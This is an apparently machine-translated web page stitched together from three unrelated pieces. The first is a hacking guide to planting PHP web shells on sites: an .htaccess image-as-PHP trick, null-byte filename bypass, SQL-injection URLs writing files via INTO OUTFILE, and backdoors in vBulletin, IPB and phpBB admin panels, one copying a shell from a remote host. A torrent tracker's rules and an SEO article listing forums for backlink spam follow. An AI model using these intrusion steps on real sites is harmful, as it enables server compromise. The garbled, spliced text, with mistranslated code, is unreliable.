Mitmekülgne profiili php režiim. Kesta täitmise meetodid
Tere %username% ja tema sõbrad. Noh, sa pead kiiresti saidile üles laadima kesta, iial ei tea, võib-olla sõltub sellest lõplik tasu. Noh, see lihtsalt ei õnnestu. Siia kogusin paar näidet (tänu tracyle ja teistele selle eest).
Valame kesta läbi pildi
Olete häkkinud saidi (muidugi te ainult testite) kohandatud administraatoripaneeliga... Ja te ei saa veebishelli üles laadida, kuid seal laaditakse pilte ja laaditakse ainult .jpg, .gif, .png vormingud.
Mida saab sel juhul teha?
Torkame kesta laiendiga .gif mõnda piltidega kausta ja loome sisuga .htaccess faili
AddType application/x-httpd-php .gif
See käsk käivitab .gif-vormingus php
Proovin avada /shell.gif
Samuti, kui skript ei ole reavahede suhtes ükskõikne, proovime kesta üle ujutada, nimetades selle samaaegselt ümber shell.php%00.jpg, kontrollige shell.php saadavust, mis siis, kui?
Meetod shelli laadimiseks mysql.useri kaudu whine'ist
1) Uurime välja, kelle all me istume ja uurime ka tema õigusi mysql-ile.
site.com/index.php?id=1+ja+1=0+liit+Vali+1,kasutaja(),3+--+
(Saame teada, kelle all me istume)
2) site.com/index.php?id=1+and+1=0+union+Select+1,file_priv,3+from+mysql.user+where+user=" meie kasutaja
"+--+
(Kontrollime oma kasutaja õigusi. Kui see annab väljundi ajal veateate, saate meie kasutaja hex-i 0x)
3) site.com/index.php?id=-1+union+select+1,"",3+from+mysql.user+into+outfile+" Faili tee
"+--+
(Täida minikest)
P.S.
Et kõik toimiks, peavad teil olema kirjutamisõigused ja teadma kogu juurteed.
Kirjutamisõigusi saate kontrollida ka järgmiselt:
site.com/index.php?id=1+and+1=0+union+Select+1," prava
",3+from+mysql.user+--+
Kui kuvatakse prava, siis on teil õigused.
Järgmine olukord. Oleme vBulletini foorumi mootori administraatoripaneelis
Lähme:
Pluginad ja tooted -> Pistikprogrammide haldur -> Pluginad ja tooted -> Pistikprogrammide haldur -> [Lisa uus pistikprogramm]
Valige mallid. Tavaliselt valime faq_complete, valime ja klõpsame ruut Plugin is Active, määrame selle väärtuseks "Jah" ja salvestame.
localhost/forum/faq.php?cmd=phpinfo();
Kui oleme printinud phpinfo(), siis arvestage meie käes oleva kestaga.
Järgmisena peate phpinfos leidma foorumi täieliku tee (näiteks /home/u0000/site.ru/www/sell.php). Järgmiseks peame muutma oma veebikesta txt-failiks ja laadima selle mis tahes veebisaidile üles
mysite.com/shell.txt
Täitke kest käsuga
localhost/forum/faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Mida see meeskond teeb? See kopeerib muutuja [a] sisu muutujasse [b], st shell.txt kopeeritakse faili shell.php
Kesta laadimine IPB 3-sse
Lähme:
Tugi-> SQL-i haldus-> Protsesside käitamine-> Käivita uus päring
Kood:
valige 0x3c3f706870696e666f28293b3f3e väljundfaili "Z:/home/site.ru/www/uploads/shell.php"
Täielikku rada näete järgmiselt:
Administraator->Tugi
Üleval on kirjutatud PHP versioon ja vasakul on link PHPINFO-le.
Shell siin:
http://site.com/uploads/shell.php
Shelli üleslaadimine phpBB 2-sse
1. Looge fail ex.sql
2. Registreeruge seal
UPDATE phpbb_users SET user_sig_bbcode_uid="(.+)/e\0", user_sig="phpbb:eval(triipskriipsud($_GET[e]));" WHERE kasutaja_id=2;
Kus kasutaja_id=2 on administraatori ID
3. Minge administraatoripaneelile
4. Valige administraatoripaneelil üksus „Restore DB” ja laadige alla ex.sql
5. Käivitage kood / täitke kest nii
Lähme:
http://target/profile.php?mode=editprofile&e=phpinfo();
Pärast:
http://target/profile.php?mode=editprofile&e=faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/ site.ru/www/sell.php
Phpinfo() kuvamiseks peate olema sisse logitud.
See on vaid lühike loetelu sellest, kuidas ja millistele mootoritele saab kesta laadida. Vajan veel? Tere tulemast rdoti kuttide hulka
foorumitesse üleslaadimine
täitmine cms
Ja siin on minu lemmikkest, ka rdotis))
Reeglid ja piirangud jälgijale.
1. Üldsätted ja piirangud
1.1. Need jälgimisreeglid ei ole läbiräägitavad ja kõik jälgimisviibijad peavad neid tingimusteta järgima. Ainult Trackeri administraatoritel on lubatud erandolukordades reeglite mõningaid sätteid mitte järgida.
1.2. Trackeri administratsioon on ainus ja kõrgeim asutus, kus saab lahendada jälgijat ja selle kasutajaid puudutavaid konfliktsituatsioone. Seega on Haldajate otsused lõplikud ja edasikaebamisele ei kuulu.
1.3. Trackeri administratsioon jätab endale õiguse muuta ja täiendada kõiki käesolevate reeglite punkte ilma eelneva või hilisema etteteatamata. Reeglite täiendused ja muudatused jõustuvad nende avaldamise hetkest. Hea tahte aktina püüab administratsioon aga võimaluse korral sellistele muudatustele kasutajate tähelepanu juhtida.
1.4. Nende ja teiste Trackeri reeglite mittetundmine mitte ainult ei vabasta vastutusest nende rikkumise eest, vaid on iseenesest rikkumine ja raskendav asjaolu.
1.5. Keelatud on kasutada mis tahes programme teie üleslaadimise ja allalaadimise andmete võltsimiseks. Petturid keelatakse kohe ära.
1.7. Trackeri tõrgete ja vigade kasutamine isiklikuks otstarbeks on keelatud. Rikete ja vigade avastamisel tuleb teavitada Trackeri administratsiooni.
2. Registreerimine
Registreerimine on jälgijal olemise lahutamatu osa. Registreerimine näitab automaatselt, et nõustute käesolevate reeglitega. Kui te nende reeglitega ei nõustu, kirjutage administratsioonile.
2.1. REGISTREERIMINE ERINEVATEST VÄLISMAA PUHVARSERVERITEST ON KEELATUD. Rikkujad - kohene keeld!!!
Erandjuhtudel on see lubatud alles pärast taotluse läbivaatamist administratsioonis.
2.2. ÜHEST ARVUTIST ROHKEM KUI KAHE KONTO REGISTREERIMINE ON KEELATUD. Rikkumise korral blokeeritakse kõik olemasolevad kontod.
Uue konto registreerimine pärast olemasolevat kahte on võimalik ainult administratsiooni nõusolekul.
3. Käte kommenteerimise reeglid
3.1. Keelatud on levituste kommentaarides kasutada roppusi, mis tahes nilbeid sõnu ja väljendeid, varjatud roppusi, sealhulgas võõrkeeltes.
Karistus: Reegleid rikkuvate kommentaaride eemaldamine ja kommentaaride kirjutamise keeld 1 nädalaks. Selle reegli hilisem rikkumine toob kaasa keelu 7 päevaks ja kommentaaride kirjutamise keelu 14 päevaks. Edaspidi kehtib alaline kommentaaride kirjutamise keeld.
3.2. Jälitajas osalejate solvamine mis tahes kujul on keelatud. Keelatud on näidata teiste osalejate suhtes ebaviisakust, isiklikke solvanguid ja ebasündsaid, nende mainet kahjustavaid, nende au ja väärikust alandavaid avaldusi, sealhulgas isiklike suhete avalik näitamine nii jälitusseadmes isiklikes sõnumites kui ka levide kommentaarides. Osalejad peavad suhtlema lugupidavalt.
Karistus: Reegleid rikkuvate kommentaaride eemaldamine ja rikkuja keeld 7 päevaks. Selle reegli hilisem rikkumine toob kaasa 7-päevase võistluskeelu ja 30-päevase kommentaaride kirjutamise keelu. Edaspidi kehtib alaline kommentaaride kirjutamise keeld.
3.3. Igasuguse iseloomuga ähvardused on keelatud (virtuaalsed, reaalsed ja muud ähvardused jälgijatel osalejate vastu).
Karistus: sõnumite kustutamine ja rikkuja keelamine 14 päevaks. Kui seda reeglit uuesti rikutakse, määratakse kuuajaline võistluskeeld.
3.4. Flaming (sõnumid, mis pole asjakohased, mõeldud vaidluse alustamiseks, samuti arutlejate isikupärastamine), üleujutus (teateid, mis ei vasta teemale, ei kanna semantilist koormust või koosnevad ainult emotikonidest), offtopic ( sõnumid, mis ei ole arutatava teemaga seotud), on keelatud, samuti stiimulid üleujutamiseks, leek, offtopic ja sellised sõnumid nagu: "Abi", "Probleem", "Millest sa räägid, ah?" või "Ma ei saa aru – kust alla laadida?" jms, mis ei ole selle levitamisega seotud. Üks kommentaar ei tohi sisaldada rohkem kui 3 emotikonit.
Karistus: Reegleid rikkuvate kommentaaride eemaldamine ja kommentaari autori hoiatamine 3 päevaks. Kui seda reeglit rikutakse uuesti, määratakse kommentaari autorile 7-päevane kommentaaride kirjutamise keeld. Edaspidi kehtestatakse iga rikkumise eest kommentaaride jätmise keeld 14 päevaks ja allalaadimise keeld 14 päevaks.
3.5. Kommentaaridesse on keelatud postitada kommertssõnumeid, otsest või kaudset reklaami, rämpsposti ja linke saitidele, mis ei ole otseselt seotud levitamisega.
Karistus: Reklaami eemaldamine, kommentaaride kirjutamise keeld 7 päevaks ja allalaadimise keeld 7 päevaks. Korduva rikkumise korral kommentaaride kirjutamise keeld 15 päevaks ja allalaadimise keeld 15 päevaks. Tulevikus kehtib alaline kommentaaride kirjutamise keeld.
3.6. Kommentaarides on keelatud näidata rassilist, rahvuslikku ja religioosset vaenulikkust, agiteerida erakondi, propageerida terrorismi, äärmuslust, narkootikume, religiooni ja muid üldtunnustatud moraali- ja sündsusseadustega kokkusobimatuid teemasid.
Karistus: Reegleid rikkuvate kommentaaride eemaldamine, kommentaaride kirjutamise keeld 14 päevaks ja allalaadimise keeld 14 päevaks. Korduva rikkumise korral kommentaaride kirjutamise keeld 30 päevaks ja allalaadimise keeld 30 päevaks. Tulevikus kehtib alaline kommentaaride kirjutamise keeld.
3.7. Keelatud on jätta kommentaare, mis avalikult või varjatult rikuvad Vene Föderatsiooni kriminaalkoodeksit, samuti sõnumeid, mis kutsuvad toime ebaseaduslikke tegusid.
Karistus: Sõnumite kustutamine, kommentaaride kirjutamise keeld 14 päevaks ja allalaadimise keeld 14 päevaks. Korduva rikkumise korral määratakse rikkujale 30-päevane võistluskeeld. Kolmanda rikkumise eest - alaline keeld.
3.8. Distributsioonide kommentaarides on keelatud ilma tema nõusolekuta avaldada kasutajate isikuandmeid, konfidentsiaalseid andmeid, tegelikke täisnimesid, avaldada fotosid, levitada arutelus osaleja eraelu puudutavat teavet, mis kujutab endast tema isiklikku või perekonnasaladust.
Karistus: Reegleid rikkuvate kommentaaride eemaldamine ja suuline hoiatus jälgijale. Korduva rikkumise korral kommentaaride kirjutamise keeld 7 päevaks. Edaspidi kehtib 30-päevane kommentaaride kirjutamise keeld.
3.9. Keelatud on postitada kommentaaridesse pilte, mis sisaldavad pornograafiat, vägivallastseene või muid pilte, mis alandavad või solvavad teisi kasutajaid.
Karistus: Reegleid rikkuvate kommentaaride kustutamine ning kommentaaride allalaadimise ja jätmise keeld 7 päevaks. Korduva rikkumise korral keelatakse kasutaja 7 päevaks. Tulevikus - keeld 15 päevaks ja alaline kommentaaride kirjutamise keeld.
3.10. Kommentaarides on keelatud kasutada muud keelt kui vene keel ja muud kirjatüüpi kui kirillitsa.
Karistamine: Sõnumite kustutamine ja kasutaja suuline hoiatus käesoleva lõike reeglite korduva rikkumise korral kommentaaride kirjutamise keeld 3 päevaks.
3.11. Sõnumites on keelatud kasutada järgmisi esiletõstmisviise: punane, üle 75% suurtähti ja suur kirjasuurus – see on moderaatorite ja administraatorite privileeg.
Karistus: Sõnumite kustutamine ja kasutaja suuline hoiatus käesoleva lõike reeglite korduva rikkumise korral kommentaaride kirjutamise keeld 7 päevaks.
3.12. Ületsiteerimine on keelatud (teiste osalejate sõnumite tsiteerimine üle mõistliku koguse (rohkem kui 10 rida algsest sõnumist)).
Karistus: Sõnumi toimetamine ja kasutaja suuline hoiatamine käesoleva lõike reeglite korduva rikkumise korral kommentaaride kirjutamise keeld 3 päevaks.
3.13. Spoilerid on keelatud ja hoiduge spoilerite kasutamisest (süžee põhipunktide avalikustamine, mille teadmine võib rikkuda teiste vaatamiskogemuse, matši tulemuse jne).
Kui te ei saa ilma spoileriteta hakkama, peate spoileri lisama [laienda] märgendisse ja panema selle ette märgi "Spoiler".
Märkus: “Spordi” distributsioonides on keelatud rikkuda kuni 11 kommentaari (1 lehekülg).
Karistus: Sõnumi muutmine ja kasutaja suuline hoiatamine. Kui rikute korduvalt selle lõike reegleid, on teil 3 päeva jooksul keelatud kommentaaride kirjutamine.
3.14. Keelatud on avaldada teadlikult valeandmeid sisaldavaid sõnumeid.
Karistus: reegleid rikkuvate kommentaaride eemaldamine ja kasutaja suuline hoiatus. Kui rikute korduvalt selle lõike reegleid, on teil 7 päeva jooksul keelatud kommentaaride jätmine.
Torrenti kommentaaride süsteem on loodud selleks, et:
- väljendada oma austust ja tänu kinkijale,
- Esitage konkreetne küsimus, mis teid huvitab levitamise kohta,
- Esitage kingitusega seotud huvitavat teavet.
4. Avataride ja allkirjade piirangud:
4.1. Allkiri:
- Maksimaalne kõrgus: 100 punkti (teisisõnu, mitte rohkem kui neli kasutajariba või kümme tekstirida (fondi suurus 10); laius: 750 punkti.
- Allkirjas sisalduvate piltide kogukaal ei tohi ületada 200 Kb.
- Sisu: vägivald, ähvardused (demograafilistel, rahvuslikel, religioossetel või poliitilistel põhjustel), ropp keelekasutus (roppus, sõimamine, ebaviisakus jne), rüvetamine (pornograafia), mis tahes vormis diskrimineerimine, reklaami tekstid ja pildid või reklaam on vastuvõetamatu iseloom, selle ressursi pealkirjade/astmete jäljendamine, samuti provokatiivsed pildid, sh. kasutades natsisümboolikat.
- Animatsioon: tugevalt vilkuvad subtiitrid on keelatud (vilkumise astme määrab administratsioon).
- Teie sõnumite all olevat allkirja ei saa kasutada võrguressursside linkide loomiseks. (erandiks on lingid kasutajaribadega saitidele, teenustele nagu youtube, google jne.)
4.2. Avatar:
- Maksimaalne suurus: 100x100 pikslit; kaal: kuni 21 KB.
- Sisu: vägivald, ähvardused (demograafilistel, rahvuslikel, religioossetel või poliitilistel põhjustel), ropp keelekasutus (roppus, sõimamine, ebaviisakus jne), rüvetamine (pornograafia), mis tahes vormis diskrimineerimine, narkopropaganda, kommertsreklaam ja reklaamtekstid, selle ressursi tiitlite/astmete jäljendamine, tahtlik sarnasus administratsiooni liikmete avataridega, samuti provokatiivsed pildid, sh. kasutades natsisümboolikat.
- Animatsioon: tugevalt vilkuvad avatarid on keelatud (vilkumise astme määrab administratsioon).
Karistus: allkirja ja avatari eemaldamine või nende kasutamise keeld (määrab administraator).
5. Väljalasked
5.1. Väljalasete uuesti üleslaadimine teistele jälgijatele on keelatud ilma väljastaja isikliku loata. Väljalase, mille uuesti üleslaadimine on keelatud teisel jälgijal, levitamise toetamine võrdub iseseisva uuesti üleslaadimisega ja seda karistatakse vastavalt punktile 7.
6. Muu
6.1. Keelatud on üles laadida distributsioonide sisu, kasutades failimajutusteenuseid nagu vip-file, letitbit ja muud...
6.2. Torrentide allalaadimiseks on keelatud kasutada allalaadimishaldureid.
7. Karistus:
Lõigetes 5-6 nimetatud rikkumiste eest - 7-päevane keeld. Nende reeglite korduv rikkumine toob kaasa eluaegse võistluskeelu.
Seega arvan, et ma ei üllata kedagi, öeldes, et mida rohkem on teie saidile väliseid linke, seda suurem on selle TCI ja mida suurem on viitava saidi TCI, seda suurem on selle lingi "kaal". Teie saidi linkide massi suurendamiseks on palju võimalusi, kuid täna räägin ainult ühest neist - välislinkide hankimine usaldussaitidelt.
Selles artiklis ma ei anna kõiki linke usaldussaidid, mida ma tean, kuid räägin teile ainult ühest neist - foorumist.
Registreerudes foorumites, kus saate veebisaiti määrata (Reeglina tehakse need samal mootoril), saate välise lingi.
Et oleks selge, millest me räägime, vaadake allolevat ekraanipilti:
See tähendab, et peate lihtsalt sellisel foorumil registreeruma, märkides saidi. See on kõik. (Noh, maksimaalselt peate ikkagi oma registreerumise kinnitama, nii et märkige oma tõeline e-post). Tavaliselt näeb teie saidi lingiga leht välja umbes selline:
Räägime nüüd selle meetodi puudustest, minu arvates on neid kaks:
1) Arvan, et varem või hiljem eemaldatakse teid tegevusetuse tõttu foorumist (aga põhimõtteliselt pole uuesti registreerumine keeruline).
2) Seetõttu on lingi ankru seadistamine võimatu. (See pole ilmselt isegi miinus, vaid fakt, aga siiski).
Noh, nüüd rasvafoorumite nimekiri. Mugavuse huvides TCI kahanevas järjekorras:
Link (TCI)
http://forum.igromania.ru/register.php (1700) [Registreeruge, seejärel märkige sait oma profiilis, salvestage]
http://orphus.ru/community/register.html (1500)
http://www.novosti-kosmonavtiki.ru/phpBB2/profile.php?mode=register (1100)
http://www.rmj.ru/phpbb/profile.php?mode=register (1000)
http://www.masterkit.ru/forum/profile.php?mode=register (700)
http://www.ib.ru/forum/profile.php?mode=register (400)
http://forum.mozilla-russia.org/register.php (300) [Märkige oma profiilis veebisait]
http://mama-tv.ru/forum/profile.php?mode=register (230)
http://www.neodrive.ru/forum/profile.php?mode=register (170)
http://www.systemaspetsnaz.ru/pforum/profile.php?mode=register (150)
http://tele-club.ru/forum/profile.php?mode=register (130)
http://forum.anastasia.ru/profile.php?mode=register (130)
http://www.shalyapin.ru/forum/profile.php?mode=register (130)
http://www.sarinfo.org/forum/profile.php?mode=register (120)
http://nelubit.ru/profile.php?mode=register (100)
http://www.antisex.info/phpbb2/profile.php?mode=register (60)
http://forum.balletfriends.ru/profile.php?mode=register (50)
http://forum.rusbani.ru/profile.php?mode=register (50)
http://zoneland.ru/forum/profile.php?mode=register (40)
http://forum.av.by/profile.php?mode=register (30)
http://forummotor.israelinfo.ru/profile.php?mode=register (30)
http://wolfson.ru/forum/profile.php?mode=register (30)
http://forum.oslik.ru/profile.php?mode=register (30)
http://data-torrents.com/profile.php?mode=register (20)
http://forum.latfutbols.net/profile.php?mode=register (20)
http://www.forum.hyip-reflection.info/profile.php?mode=register (20)
http://wap.tanchiki.ru/for/profile.php?mode=register (10)
http://www.autoplustv.ru/forum/profile.php?mode=register (500)
http://www.spomir.ru/forum/profile.php?mode=register (350)
http://www.fireman.ru/talk/profile.php?mode=register (300)
http://www.fpss.ru/forum-new/profile.php?mode=register (240)
http://www.skaters.ru/forum/profile.php?mode=register (220)
http://www.a-ivanov.ru/forum/profile.php?mode=register (190)
http://abto-acc.ru/forum/profile.php?mode=register (150)
http://www.artdj.ru/forum/profile.php?mode=register (120)
http://doom-metal.ru/room/profile.php?mode=register (100)
http://www.frisbee.by/f/profile.php?mode=register&agreed=true (80)
http://www.texinfo.ru/forum/ucp.php?mode=register (80) [Profiilis]
http://globax.biz/forum/profile.php?mode=register (70)
http://www.gracebyte.com/forum/profile.php?mode=register (70)
http://forumjnews.israelinfo.ru/profile.php?mode=register (60)
http://yartech.ru/forum/ucp.php?mode=register (40) [Profiil]
http://amrita-dance.ru/forum/profile.php?mode=register (30)
http://forum.isnet.ru/profile.php?mode=register (30)
http://forum.interair.ru/profile.php?mode=register (0
___________________________________________________________________
Viimane andmebaasi värskendus toimus 16.06.11(Loend on katkisetest linkidest puhastatud + on lisatud veel mõned saidid, mis on joone all)
Samuti saate tänu usaldussaidile mitte ainult suurendada TIC-i, vaid ka suurendada saidi liiklust! Kuid selleks on vaja palju häid usaldussaite ja reeglina müüakse neid juba raha eest. No otsustage ise, kas ostate need või mitte...
Kokkuvõtteks võin öelda, et ärge registreeruge korraga, kõikides foorumites korraga, muidu võib teie sait sattuda mingisuguse filtri alla. 5-8 päevas on minu arust piisav. Kõik. Edu. 😉
Tähelepanu!
Kirjutan seda märkust 2015. aastal ja tahan öelda, et nüüd, kui jätate oma ajaveebi (saidile) lingid nendele või muudele, uuematele usaldussaitidele, siis minu arvates raiskate ainult oma aega. Seetõttu kirjutan kommentaarides korduvate küsimuste vältimiseks siia - sellesse loendisse uuendusi ei tule.
Soovitan parem oma nimekirja üle vaadata. Loomulikult ei ole ka sellistesse blogidesse sõnumite postitamine nii tõhus kui varem, kuid minu subjektiivse hinnangu kohaselt on see kordades tõhusam.
